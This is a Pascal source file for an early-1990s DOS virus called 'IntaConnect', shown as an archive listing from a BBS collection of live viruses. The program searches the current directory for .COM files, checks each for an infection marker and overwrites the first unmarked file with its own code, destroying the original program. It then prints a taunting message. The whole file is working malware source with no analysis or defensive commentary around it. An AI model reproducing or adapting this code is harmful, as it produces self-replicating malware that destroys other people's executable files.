home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / inta.pas < prev    next >
Pascal/Delphi Source File  |  1991-08-07  |  4KB  |  108 lines

  1.  
  2. {C-}
  3. {U-}
  4. {I-}       { Wont allow a user break, enable IO check }
  5.  
  6.  
  7. Const
  8.      VirusSize = 12027;    { InterConnect'z Virus Size }
  9.  
  10.      Warning   :String[42]     { Warning message }
  11.      = 'This File Has Been IntaConnected';
  12.  
  13. { -- Type declarations------------------------------------- }
  14.  
  15. Type
  16.      DTARec    =Record      { Data area for file search }
  17.      DOSnext  :Array[1..21] of Byte;
  18.                    Attr    : Byte;
  19.                    Ftime,
  20.                    FDate,
  21.                    FLsize,
  22.                    FHsize  : Integer;
  23.                    FullName: Array[1..13] of Char;
  24.                  End;
  25.  
  26. Registers    = Record    {Register set used for file search }
  27.    Case Byte of
  28.    1 : (AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags : Integer);
  29.    2 : (AL,AH,BL,BH,CL,CH,DL,DH          : Byte);
  30.    End;
  31.  
  32. { -- Variables--------------------------------------------- }
  33.  
  34. Var
  35.                                { Memory offset program code }
  36.    ProgramStart : Byte absolute Cseg:$100;
  37.                                           { Infected marker }
  38.    MarkInfected : String[42] absolute Cseg:$180;
  39.    Reg          : Registers;                 { Register set }
  40.    DTA          : DTARec;                       { Data area }
  41.    Buffer       : Array[Byte] of Byte;        { Data buffer }
  42.    TestID       : String[42]; { To recognize infected files }
  43.    UsePath      : String[66];        { Path to search files }
  44.                                     { Lenght of search path }
  45.    UsePathLenght: Byte absolute UsePath;
  46.    Go           : File;                    { File to infect }
  47.    B            : Byte;                              { Used }
  48.  
  49. { -- Program code------------------------------------------ }
  50.  
  51. Begin
  52.   WriteLn(Warning);               { Display warning message }
  53.   GetDir(0, UsePath);               { get current directory }
  54.   if Pos('\', UsePath) <> UsePathLenght then
  55.     UsePath := UsePath + '\';
  56.   UsePath := UsePath + '*.COM';        { Define search mask }
  57.   Reg.AH := $1A;                            { Set data area }
  58.   Reg.DS := Seg(DTA);
  59.   Reg.DX := Ofs(DTA);
  60.   MsDos(Reg);
  61.   UsePath[Succ(UsePathLenght)]:=#0; { Path must end with #0 }
  62.   Reg.AH := $4E;
  63.   Reg.DS := Seg(UsePath);
  64.   Reg.DX := Ofs(UsePath[1]);
  65.   Reg.CX := $ff;          { Set attribute to find ALL files }
  66.   MsDos(Reg);                   { Find first matching entry }
  67.   IF not Odd(Reg.Flags) Then         { If a file found then }
  68.     Repeat
  69.       UsePath := DTA.FullName;
  70.       B := Pos(#0, UsePath);
  71.       If B > 0 then
  72.       Delete(UsePath, B, 255);             { Remove garbage }
  73.       Assign(Go, UsePath);
  74.       Reset(Go);
  75.       If IOresult = 0 Then          { If not IO error then }
  76.       Begin
  77.         BlockRead(Go, Buffer, 2);
  78.         Move(Buffer[$80], TestID, 43);
  79.                       { Test if file already ill(Infected) }
  80.         If TestID <> Warning Then        { If not then ... }
  81.         Begin
  82.           Seek (Go, 0);
  83.                             { Mark file as infected and .. }
  84.           MarkInfected := Warning;
  85.                                                { Infect it }
  86.           BlockWrite(Go,ProgramStart,Succ(VirusSize shr 7));
  87.           Close(Go);
  88.                                   { Say what has been done }
  89.           WriteLn(UsePath + 'infected.');
  90.           Halt;                   {.. and halt the program }
  91.         End;
  92.         Close(Go);
  93.       End;
  94.         { The file has already been infected, search next. }
  95.       Reg.AH := $4F;
  96.       Reg.DS := Seg(DTA);
  97.       Reg.DX := Ofs(DTA);
  98.       MsDos(Reg);
  99.     {  ......................Until no more files are found }
  100.     Until Odd(Reg.Flags);
  101.   gotoxy(1,wherey);
  102.   write('Fuck It All Bud....');
  103.   gotoxy(1,wherey);delay(200);
  104.   Write('<_Sm-i-le_>        ');                          {Give a smile }
  105. End.
  106.  
  107.  
  108.